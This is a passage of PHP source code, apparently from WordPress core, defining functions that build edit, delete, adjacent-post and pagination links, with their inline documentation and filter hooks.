* @param string $css_class Optional. Add custom class to link. Default 'post-edit-link'.
*/
function edit_post_link( $text = null, $before = '', $after = '', $post = 0, $css_class = 'post-edit-link' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
$url = get_edit_post_link( $post->ID );
if ( ! $url ) {
return;
}
if ( null === $text ) {
$text = __( 'Edit This' );
}
$link = '<a class="' . esc_attr( $css_class ) . '" href="' . esc_url( $url ) . '">' . $text . '</a>';
/**
* Filters the post edit link anchor tag.
*
* @since 2.3.0
*
* @param string $link Anchor tag for the edit link.
* @param int $post_id Post ID.
* @param string $text Anchor text.
*/
echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after;
}
/**
* Retrieves the delete posts link for post.
*
* Can be used within the WordPress loop or outside of it, with any post type.
*
* @since 2.9.0
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param string $deprecated Not used.
* @param bool $force_delete Optional. Whether to bypass Trash and force deletion. Default false.
* @return string|void The delete post link URL for the given post.
*/
function get_delete_post_link( $post = 0, $deprecated = '', $force_delete = false ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '3.0.0' );
}
$post = get_post( $post );
if ( ! $post ) {
return;
}
$post_type_object = get_post_type_object( $post->post_type );
if ( ! $post_type_object ) {
return;
}
if ( ! current_user_can( 'delete_post', $post->ID ) ) {
return;
}
$action = ( $force_delete || ! EMPTY_TRASH_DAYS ) ? 'delete' : 'trash';
$delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) );
/**
* Filters the post delete link.
*
* @since 2.9.0
*
* @param string $link The delete link.
* @param int $post_id Post ID.
* @param bool $force_delete Whether to bypass the Trash and force deletion. Default false.
*/
return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete );
}
/**
* Retrieves the edit comment link.
*
* @since 2.3.0
*
* @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object.
* @return string|void The edit comment link URL for the given comment.
*/
function get_edit_comment_link( $comment_id = 0 ) {
$comment = get_comment( $comment_id );
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
return;
}
$location = admin_url( 'comment.php?action=editcomment&c=' ) . $comment->comment_ID;
/**
* Filters the comment edit link.
*
* @since 2.3.0
*
* @param string $location The edit link.
*/
return apply_filters( 'get_edit_comment_link', $location );
}
/**
* Displays the edit comment link with formatting.
*
* @since 1.0.0
*
* @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
*/
function edit_comment_link( $text = null, $before = '', $after = '' ) {
$comment = get_comment();
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
return;
}
if ( null === $text ) {
$text = __( 'Edit This' );
}
$link = '<a class="comment-edit-link" href="' . esc_url( get_edit_comment_link( $comment ) ) . '">' . $text . '</a>';
/**
* Filters the comment edit link anchor tag.
*
* @since 2.3.0
*
* @param string $link Anchor tag for the edit link.
* @param string $comment_id Comment ID as a numeric string.
* @param string $text Anchor text.
*/
echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after;
}
/**
* Displays the edit bookmark link.
*
* @since 2.7.0
*
* @param int|stdClass $link Optional. Bookmark ID. Default is the ID of the current bookmark.
* @return string|void The edit bookmark link URL.
*/
function get_edit_bookmark_link( $link = 0 ) {
$link = get_bookmark( $link );
if ( ! current_user_can( 'manage_links' ) ) {
return;
}
$location = admin_url( 'link.php?action=edit&link_id=' ) . $link->link_id;
/**
* Filters the bookmark edit link.
*
* @since 2.7.0
*
* @param string $location The edit link.
* @param int $link_id Bookmark ID.
*/
return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
}
/**
* Displays the edit bookmark link anchor content.
*
* @since 2.7.0
*
* @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param int $bookmark Optional. Bookmark ID. Default is the current bookmark.
*/
function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
$bookmark = get_bookmark( $bookmark );
if ( ! current_user_can( 'manage_links' ) ) {
return;
}
if ( empty( $link ) ) {
$link = __( 'Edit This' );
}
$link = '<a href="' . esc_url( get_edit_bookmark_link( $bookmark ) ) . '">' . $link . '</a>';
/**
* Filters the bookmark edit link anchor tag.
*
* @since 2.7.0
*
* @param string $link Anchor tag for the edit link.
* @param int $link_id Bookmark ID.
*/
echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
}
/**
* Retrieves the edit user link.
*
* @since 3.5.0
*
* @param int $user_id Optional. User ID. Defaults to the current user.
* @return string URL to edit user page or empty string.
*/
function get_edit_user_link( $user_id = null ) {
if ( ! $user_id ) {
$user_id = get_current_user_id();
}
if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) {
return '';
}
$user = get_userdata( $user_id );
if ( ! $user ) {
return '';
}
if ( get_current_user_id() === $user->ID ) {
$link = get_edit_profile_url( $user->ID );
} else {
$link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) );
}
/**
* Filters the user edit link.
*
* @since 3.5.0
*
* @param string $link The edit link.
* @param int $user_id User ID.
*/
return apply_filters( 'get_edit_user_link', $link, $user->ID );
}
//
// Navigation links.
//
/**
* Retrieves the previous post that is adjacent to the current post.
*
* @since 1.5.0
*
* @param bool $in_same_term Optional. Whether post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
* Empty string if no corresponding post exists.
*/
function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy );
}
/**
* Retrieves the next post that is adjacent to the current post.
*
* @since 1.5.0
*
* @param bool $in_same_term Optional. Whether post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
* Empty string if no corresponding post exists.
*/
function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy );
}
/**
* Retrieves the adjacent post.
*
* Can either be next or previous post.
*
* @since 2.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param bool $in_same_term Optional. Whether post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty string.
* @param bool $previous Optional. Whether to retrieve previous post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
* Empty string if no corresponding post exists.
*/
function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
global $wpdb;
$post = get_post();
if ( ! $post || ! taxonomy_exists( $taxonomy ) ) {
return null;
}
$current_post_date = $post->post_date;
$join = '';
$where = '';
$adjacent = $previous ? 'previous' : 'next';
if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
// Back-compat, $excluded_terms used to be $excluded_categories with IDs separated by " and ".
if ( str_contains( $excluded_terms, ' and ' ) ) {
_deprecated_argument(
__FUNCTION__,
'3.3.0',
sprintf(
/* translators: %s: The word 'and'. */
__( 'Use commas instead of %s to separate excluded terms.' ),
"'and'"
)
);
$excluded_terms = explode( ' and ', $excluded_terms );
} else {
$excluded_terms = explode( ',', $excluded_terms );
}
$excluded_terms = array_map( 'intval', $excluded_terms );
}
/**
* Filters the IDs of terms excluded from adjacent post queries.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_excluded_terms`
* - `get_previous_post_excluded_terms`
*
* @since 4.4.0
*
* @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
*/
$excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms );
if ( $in_same_term || ! empty( $excluded_terms ) ) {
if ( $in_same_term ) {
$join .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
$where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy );
if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
return '';
}
$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
// Remove any exclusions from the term array to include.
$term_array = array_diff( $term_array, (array) $excluded_terms );
$term_array = array_map( 'intval', $term_array );
if ( ! $term_array || is_wp_error( $term_array ) ) {
return '';
}
$where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')';
}
if ( ! empty( $excluded_terms ) ) {
$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
}
}
// 'post_status' clause depends on the current user.
if ( is_user_logged_in() ) {
$user_id = get_current_user_id();
$post_type_object = get_post_type_object( $post->post_type );
if ( empty( $post_type_object ) ) {
$post_type_cap = $post->post_type;
$read_private_cap = 'read_private_' . $post_type_cap . 's';
} else {
$read_private_cap = $post_type_object->cap->read_private_posts;
}
/*
* Results should include private posts belonging to the current user, or private posts where the
* current user has the 'read_private_posts' cap.
*/
$private_states = get_post_stati( array( 'private' => true ) );
$where .= " AND ( p.post_status = 'publish'";
foreach ( $private_states as $state ) {
if ( current_user_can( $read_private_cap ) ) {
$where .= $wpdb->prepare( ' OR p.post_status = %s', $state );
} else {
$where .= $wpdb->prepare( ' OR (p.post_author = %d AND p.post_status = %s)', $user_id, $state );
}
}
$where .= ' )';
} else {
$where .= " AND p.post_status = 'publish'";
}
$op = $previous ? '<' : '>';
$order = $previous ? 'DESC' : 'ASC';
/**
* Filters the JOIN clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_join`
* - `get_previous_post_join`
*
* @since 2.5.0
* @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
*
* @param string $join The JOIN clause in the SQL.
* @param bool $in_same_term Whether post should be in the same taxonomy term.
* @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
* @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true.
* @param WP_Post $post WP_Post object.
*/
$join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post );
/**
* Filters the WHERE clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_where`
* - `get_previous_post_where`
*
* @since 2.5.0
* @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
*
* @param string $where The `WHERE` clause in the SQL.
* @param bool $in_same_term Whether post should be in the same taxonomy term.
* @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
* @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true.
* @param WP_Post $post WP_Post object.
*/
$where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms, $taxonomy, $post );
/**
* Filters the ORDER BY clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_sort`
* - `get_previous_post_sort`
*
* @since 2.5.0
* @since 4.4.0 Added the `$post` parameter.
* @since 4.9.0 Added the `$order` parameter.
*
* @param string $order_by The `ORDER BY` clause in the SQL.
* @param WP_Post $post WP_Post object.
* @param string $order Sort order. 'DESC' for previous post, 'ASC' for next.
*/
$sort = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1", $post, $order );
$query = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort";
$key = md5( $query );
$last_changed = wp_cache_get_last_changed( 'posts' );
if ( $in_same_term || ! empty( $excluded_terms ) ) {
$last_changed .= wp_cache_get_last_changed( 'terms' );
}
$cache_key = "adjacent_post:$key:$last_changed";
$result = wp_cache_get( $cache_key, 'post-queries' );
if ( false !== $result ) {
if ( $result ) {
$result = get_post( $result );
}
return $result;
}
$result = $wpdb->get_var( $query );
if ( null === $result ) {
$result = '';
}
wp_cache_set( $cache_key, $result, 'post-queries' );
if ( $result ) {
$result = get_post( $result );
}
return $result;
}
/**
* Retrieves the adjacent post relational link.
*
* Can either be next or previous post relational link.
*
* @since 2.8.0
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string|void The adjacent post relational link URL.
*/
function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
$post = get_post();
if ( $previous && is_attachment() && $post ) {
$post = get_post( $post->post_parent );
} else {
$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
}
if ( empty( $post ) ) {
return;
}
$post_title = the_title_attribute(
array(
'echo' => false,
'post' => $post,
)
);
if ( empty( $post_title ) ) {
$post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
}
$date = mysql2date( get_option( 'date_format' ), $post->post_date );
$title = str_replace( '%title', $post_title, $title );
$title = str_replace( '%date', $date, $title );
$link = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
$link .= esc_attr( $title );
$link .= "' href='" . get_permalink( $post ) . "' />\n";
$adjacent = $previous ? 'previous' : 'next';
/**
* Filters the adjacent post relational link.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `next_post_rel_link`
* - `previous_post_rel_link`
*
* @since 2.8.0
*
* @param string $link The relational link.
*/
return apply_filters( "{$adjacent}_post_rel_link", $link );
}
/**
* Displays the relational links for the posts adjacent to the current post.
*
* @since 2.8.0
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
*/
function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}
/**
* Displays relational links for the posts adjacent to the current post for single post pages.
*
* This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins
* or theme templates.
*
* @since 3.0.0
* @since 5.6.0 No longer used in core.
*
* @see adjacent_posts_rel_link()
*/
function adjacent_posts_rel_link_wp_head() {
if ( ! is_single() || is_attachment() ) {
return;
}
adjacent_posts_rel_link();
}
/**
* Displays the relational link for the next post adjacent to the current post.
*
* @since 2.8.0
*
* @see get_adjacent_post_rel_link()
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
*/
function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}
/**
* Displays the relational link for the previous post adjacent to the current post.
*
* @since 2.8.0
*
* @see get_adjacent_post_rel_link()
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
*/
function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
}
/**
* Retrieves the boundary post.
*
* Boundary being either the first or last post by publish date within the constraints specified
* by `$in_same_term` or `$excluded_terms`.
*
* @since 2.8.0
*
* @param bool $in_same_term Optional. Whether returned post should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param bool $start Optional. Whether to retrieve first or last post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return array|null Array containing the boundary post object if successful, null otherwise.
*/
function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) {
$post = get_post();
if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) ) {
return null;
}
$query_args = array(
'posts_per_page' => 1,
'order' => $start ? 'ASC' : 'DESC',
'update_post_term_cache' => false,
'update_post_meta_cache' => false,
);
$term_array = array();
if ( ! is_array( $excluded_terms ) ) {
if ( ! empty( $excluded_terms ) ) {
$excluded_terms = explode( ',', $excluded_terms );
} else {
$excluded_terms = array();
}
}
if ( $in_same_term || ! empty( $excluded_terms ) ) {
if ( $in_same_term ) {
$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
}
if ( ! empty( $excluded_terms ) ) {
$excluded_terms = array_map( 'intval', $excluded_terms );
$excluded_terms = array_diff( $excluded_terms, $term_array );
$inverse_terms = array();
foreach ( $excluded_terms as $excluded_term ) {
$inverse_terms[] = $excluded_term * -1;
}
$excluded_terms = $inverse_terms;
}
$query_args['tax_query'] = array(
array(
'taxonomy' => $taxonomy,
'terms' => array_merge( $term_array, $excluded_terms ),
),
);
}
return get_posts( $query_args );
}
/**
* Retrieves the previous post link that is adjacent to the current post.
*
* @since 3.7.0
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string The link URL of the previous post in relation to the current post.
*/
function get_previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy );
}
/**
* Displays the previous post link that is adjacent to the current post.
*
* @since 1.5.0
*
* @see get_previous_post_link()
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
*/
function previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}
/**
* Retrieves the next post link that is adjacent to the current post.
*
* @since 3.7.0
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string The link URL of the next post in relation to the current post.
*/
function get_next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy );
}
/**
* Displays the next post link that is adjacent to the current post.
*
* @since 1.5.0
*
* @see get_next_post_link()
*
* @param string $format Optional. Link anchor format. Default '« %link'.
* @param string $link Optional. Link permalink format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
*/
function next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}
/**
* Retrieves the adjacent post link.
*
* Can be either next post link or previous.
*
* @since 3.7.0
*
* @param string $format Link anchor format.
* @param string $link Link permalink format.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string The link URL of the previous or next post in relation to the current post.
*/
function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
if ( $previous && is_attachment() ) {
$post = get_post( get_post()->post_parent );
} else {
$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
}
if ( ! $post ) {
$output = '';
} else {
$title = $post->post_title;
if ( empty( $post->post_title ) ) {
$title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
}
/** This filter is documented in wp-includes/post-template.php */
$title = apply_filters( 'the_title', $title, $post->ID );
$date = mysql2date( get_option( 'date_format' ), $post->post_date );
$rel = $previous ? 'prev' : 'next';
$string = '<a href="' . get_permalink( $post ) . '" rel="' . $rel . '">';
$inlink = str_replace( '%title', $title, $link );
$inlink = str_replace( '%date', $date, $inlink );
$inlink = $string . $inlink . '</a>';
$output = str_replace( '%link', $inlink, $format );
}
$adjacent = $previous ? 'previous' : 'next';
/**
* Filters the adjacent post link.
*
* The dynamic portion of the hook name, `$adjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `next_post_link`
* - `previous_post_link`
*
* @since 2.6.0
* @since 4.2.0 Added the `$adjacent` parameter.
*
* @param string $output The adjacent post link.
* @param string $format Link anchor format.
* @param string $link Link permalink format.
* @param WP_Post|string $post The adjacent post. Empty string if no corresponding post exists.
* @param string $adjacent Whether the post is previous or next.
*/
return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent );
}
/**
* Displays the adjacent post link.
*
* Can be either next post link or previous.
*
* @since 2.5.0
*
* @param string $format Link anchor format.
* @param string $link Link permalink format.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
*/
function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy );
}
/**
* Retrieves the link for a page number.
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int $pagenum Optional. Page number. Default 1.
* @param bool $escape Optional. Whether to escape the URL for display, with esc_url().
* If set to false, prepares the URL with sanitize_url(). Default true.
* @return string The link URL for the given page number.
*/
function get_pagenum_link( $pagenum = 1, $escape = true ) {
global $wp_rewrite;
$pagenum = (int) $pagenum;
$request = remove_query_arg( 'paged' );
$home_root = parse_url( home_url() );
$home_root = ( isset( $home_root['path'] ) ) ? $home_root['path'] : '';
$home_root = preg_quote( $home_root, '|' );
$request = preg_replace( '|^' . $home_root . '|i', '', $request );
$request = preg_replace( '|^/+|', '', $request );
if ( ! $wp_rewrite->using_permalinks() || is_admin() ) {
$base = trailingslashit( get_bloginfo( 'url' ) );
if ( $pagenum > 1 ) {
$result = add_query_arg( 'paged', $pagenum, $base . $request );
} else {
$result = $base . $request;
}
} else {
$qs_regex = '|\?.*?$|';
preg_match( $qs_regex, $request, $qs_match );
$parts = array();
$parts[] = untrailingslashit( get_bloginfo( 'url' ) );
if ( ! empty( $qs_match[0] ) ) {
$query_string = $qs_match[0];
$request = preg_replace( $qs_regex, '', $request );
} else {
$query_string = '';
}
$request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request );
$request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request );
$request = ltrim( $request, '/' );
if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' !== $request ) ) {
$parts[] = $wp_rewrite->index;
}
$parts[] = untrailingslashit( $request );
if ( $pagenum > 1 ) {
$parts[] = $wp_rewrite->pagination_base;
$parts[] = $pagenum;
}
$result = user_trailingslashit( implode( '/', array_filter( $parts ) ), 'paged' );
if ( ! empty( $query_string ) ) {
$result .= $query_string;
}
}
/**
* Filters the page number link for the current request.
*
* @since 2.5.0
* @since 5.2.0 Added the `$pagenum` argument.
*
* @param string $result The page number link.
* @param int $pagenum The page number.
*/
$result = apply_filters( 'get_pagenum_link', $result, $pagenum );
if ( $escape ) {
return esc_url( $result );
} else {
return sanitize_url( $result );
}
}
/**
* Retrieves the next posts page link.
*
* Backported from 2.1.3 to 2.0.10.
*
* @since 2.0.10
*
* @global int $paged
*
* @param int $max_page Optional. Max pages. Default 0.
* @return string|void The link URL for next posts page.
*/
function get_next_posts_page_link( $max_page = 0 ) {
global $paged;
if ( ! is_single() ) {
if ( ! $paged ) {
$paged = 1;
}
$next_page = (int) $paged + 1;
if ( ! $max_page || $max_page >= $next_page ) {
return get_pagenum_link( $next_page );
}
}
}
/**
* Displays or retrieves the next posts page link.
*
* @since 0.71
*
* @param int $max_page Optional. Max pages. Default 0.
* @param bool $display Optional. Whether to echo the link. Default true.
* @return string|void The link URL for next posts page if `$display = false`.
*/
function next_posts( $max_page = 0, $display = true ) {
$link = get_next_posts_page_link( $max_page );
$output = $link ? esc_url( $link ) : '';
if ( $display ) {
echo $output;
} else {
return $output;
}
}
/**
* Retrieves the next posts page link.
*
* @since 2.7.0
*
* @global int $paged
* @global WP_Query $wp_query WordPress Query object.
*
* @param string $label Content for link text.
* @param int $max_page Optional. Max pages. Default 0.
* @return string|void HTML-formatted next posts page link.
*/
function get_next_posts_link( $label = null, $max_page = 0 ) {
global $paged, $wp_query;
if ( ! $max_page ) {
$max_page = $wp_query->max_num_pages;
}
if ( ! $paged ) {
$paged = 1;
}
$next_page = (int) $paged + 1;
if ( null === $label ) {
$label = __( 'Next Page »' );
}
if ( ! is_single() && ( $next_page <= $max_page ) ) {
/**
* Filters the anchor tag attributes for the next posts page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
*/
$attr = apply_filters( 'next_posts_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
next_posts( $max_page, false ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
}
/**
* Displays the next posts page link.
*
* @since 0.71
*
* @param string $label Content for link text.
* @param int $max_page Optional. Max pages. Default 0.
*/
function next_posts_link( $label = null, $max_page = 0 ) {
echo get_next_posts_link( $label, $max_page );
}
/**
* Retrieves the previous posts page link.
*
* Will only return string, if not on a single page or post.
*
* Backported to 2.0.10 from 2.1.3.
*
* @since 2.0.10
*
* @global int $paged
*
* @return string|void The link for the previous posts page.
*/
function get_previous_posts_page_link() {
global $paged;
if ( ! is_single() ) {
$previous_page = (int) $paged - 1;
if ( $previous_page < 1 ) {
$previous_page = 1;
}
return get_pagenum_link( $previous_page );
}
}
/**
* Displays or retrieves the previous posts page link.
*
* @since 0.71
*
* @param bool $display Optional. Whether to echo the link. Default true.
* @return string|void The previous posts page link if `$display = false`.
*/
function previous_posts( $display = true ) {
$output = esc_url( get_previous_posts_page_link() );
if ( $display ) {
echo $output;
} else {
return $output;
}
}
/**
* Retrieves the previous posts page link.
*
* @since 2.7.0
*
* @global int $paged
*
* @param string $label Optional. Previous page link text.
* @return string|void HTML-formatted previous page link.
*/
function get_previous_posts_link( $label = null ) {
global $paged;
if ( null === $label ) {
$label = __( '« Previous Page' );
}
if ( ! is_single() && $paged > 1 ) {
/**
* Filters the anchor tag attributes for the previous posts page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
*/
$attr = apply_filters( 'previous_posts_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
previous_posts( false ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
}
/**
* Displays the previous posts page link.
*
